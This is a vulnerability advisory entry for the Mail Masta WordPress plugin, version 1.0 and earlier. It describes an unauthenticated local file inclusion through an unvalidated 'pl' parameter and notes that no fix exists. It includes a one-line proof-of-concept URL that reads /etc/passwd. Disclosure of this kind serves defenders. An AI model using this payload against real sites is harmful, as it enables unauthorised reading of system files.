WordPress Plugin Vulnerabilities
Mail Masta <= 1.0 - Unauthenticated Local File Inclusion (LFI)
Description
The plugin does not validate the pl parameter before using it in an include statement, leading to a Local File Inclusion issue
Proof of Concept
http://example.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
Affects Plugins
No known fix - plugin closed
References
Classification
Miscellaneous
Submitter
ethicalhack3r
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2016-08-23 (about 5 years ago)
Added
2016-08-24 (about 5 years ago)
Last Updated
2022-04-10 (about 1 months ago)